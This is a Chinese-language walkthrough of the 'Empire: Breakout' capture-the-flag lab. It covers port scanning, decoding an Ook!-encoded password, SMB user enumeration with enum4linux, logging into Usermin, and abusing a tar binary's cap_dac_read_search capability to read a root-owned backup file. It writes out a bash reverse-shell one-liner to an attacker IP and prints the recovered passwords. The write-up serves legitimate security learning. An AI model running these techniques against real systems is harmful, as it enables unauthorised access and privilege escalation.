Empire: Breakout 帝国:爆发时刻
1.主机探测

kali中也可以找到 但是靶机直接给了ip 只是用用kali中的命令
2.端口扫描

可以看到这里探测除了很多的端口,其中的80,10000,20000端口都是http服务,说明对方开启了很多网页服务
3.http探测

这里我们先直接尝试访问一下80端口,发现是一个正常的debian系统的apache页面
在页面上并没有看到什么有用的信息,我们习惯性的查看下网页源码,发现作者给出了一段经过ook加密的密码
查看网页源代码(Ctrl+U)
服务器直接发给你的原始 HTML 代码
服务器响应的静态文件
看页面 “出厂状态” 的代码
右击检查 / 开发者工具(F12)
浏览器渲染后、经过 JS 修改的 DOM 树
浏览器实时处理后的结果
看页面 “当前状态” 的结构

我也是第一次接触这种加密方式,所以直接在这里给大家推荐一个在线站点点此进入 ,我们将ook加密的数据拿去解密,Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]
.2uqPEfj3D<P'a-3
4.10000端口
先尝试访问(这里有的人访问会报错,此时可以尝试https协议来访问),访问页面如下

http加s

发现应该是一个管理员登录页面,我们再看看20000端口的
5.20000端口
访问方法同上

这应该也是一个登录页面,不过是用户的
Webmin:系统管理员用的面板,能管理整个服务器(用户、服务、文件系统),需要 root / 管理员权限登录。Usermin:普通用户用的面板,用户可以登录管理自己的邮件、文件、数据库,默认不直接给管理员权限,但它和Webmin共享底层代码,所以经常会出现跨权限漏洞。
6.smb服务探测
由于我们刚才nmap探测端口时发现445端口和139端口探测出来的信息中存在smb服务,所以我们用linux再来探测一下目标的smb信息,这里可以用enum4linux这款smb枚举工具来进一步探测,输入下面这个命令,把ip换成你自己的目标ip就可以就可以
enum4linux 172.21.19.93
扫描结果如下,在最下方探测出了本地用户名——cyber
基础含义:enumerate
- 音标:英 /ɪˈnjuːməreɪt/ 美 /ɪˈnuːməreɪt/
- 核心释义:
-
- 列举、枚举(最常用):把对象 / 数据逐个列出来,比如
enumerate users就是 “列出所有用户” - 数清、清点:把数量统计清楚
- 列举、枚举(最常用):把对象 / 数据逐个列出来,比如


7.实际操作.FLAG1
在信息收集中,我们拿到了一个似乎是密码的东西,又探测到了两个登录页面,最后的smb信息探测中探测出了本地的用户名,那我们直接尝试一下用刚才的账号和密码进行登录管理员后台,不出所料,如下图,我们成功登录一cyber的身份登录用户后台

但这个页面全是中文,就不太好弄,在我一番努力(百度截图翻译)之下,发现左下角有一个可以点开终端来执行命令
我们点击打开终端,ls查看到当前文件夹下有两个文件,这个tar最开始没看懂,先查看一下user.txt文件,成功拿到第一个FLAG

8.FLAG2
可是还能从什么地方入手呢,首先想到的就是刚才的tar文件,毕竟是题目给出的,我们先查看一下这个文件的权限
这里发现这个文件的权限很高,并且是个可执行文件,再来看一下文件对于其他文件所拥有的权限,如下图

● d:目录(folder)
● -:普通文件(txt、php、二进制程序等)
● l:软链接(快捷方式)
rwx r-x r-x
所有者 组用户 其他用户
1. 先看关键信息:getcap tar 的结果
bash
运行 getcap tar
tar cap_dac_read_search=ep
这行的核心信息是:tar 这个命令,被赋予了 cap_dac_read_search 权限,而且是 =ep(effective + permitted,代表权限生效)。
2. 什么是 cap_dac_read_search?
这是 Linux 的一种文件能力(Capabilities),它的作用是:
让一个普通用户进程,无视文件和目录的读权限限制,读取系统里的任意文件。
- 正常情况下,你用
cat读取/root/flag.txt时,如果文件权限是-rw------- root root,你会被拒绝(Permission denied)。 - 但如果用带了
cap_dac_read_search权限的tar命令,就能绕开这个限制,直接读取任何文件,哪怕它属于root。
而在该目录下只有两个文件,我们都看过了,说明在其他地方一定存在一个文件需要用这个tar文件读取,这才是本题的关键
终于在我的不懈努力(查攻略)下,终于在var/backups下的一个备份文件.old_pass.bak
文件还是隐藏的,是真不知道大佬们怎么找出来的,我技不如人,这种地方就只能看看攻略这样子,雀氏佩服

但是可以看到这个文件并没有执行权限,但是刚才的tar文件有执行权限,所以我们可以尝试来一波骚操作,把这个文件用给的tar压缩后再用系统的tar文件解压,这样就没有权限问题了 ,代码如下:
目前也不是root 因为是root才可以读取这个文件 所以用上面的tar绕过

我知道你遇到的问题了!报错 tar: pass.tar: Cannot open: Permission denied 不是 tar 读不了源文件,而是你当前所在的 /var/backups 目录,普通用户没有写权限,所以 tar 没法在这里创建 pass.tar 这个文件。
可以cd ~返回家目录
打包文件
./tar -cvf passwd.tar /var/backups/.old_pass.bak
解压文件
tar -xvf passwd.tar
这里加了./意思是用当前目录下的tar文件,不加./意思就是用系统的tar,因为题目给的tar文件有执行权限,所以要用题目给的tar打包,再查看解压的文件就可以成功查看到第二个flag了,如下

第二个flag如下
Ts&4&YurgtRX(=~h
9.提权

反弹shell
在靶机上输入命令bash -i >& /dev/tcp/192.168.10.114/9001 0>&1
192.168.10.114这个是我的kali nc -lvnp 9001


- 熟练掌握了
enum4linux枚举 SMB 服务和用户的方法 - 理解了 Linux 文件能力(capabilities)提权的原理
- 学会了利用
tar的 cap 权限绕过文件读取限制 - 体验了从普通用户到 root 的完整提权过程
这些都是渗透测试里非常实用的基础技能,你现在已经完全掌握了!
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)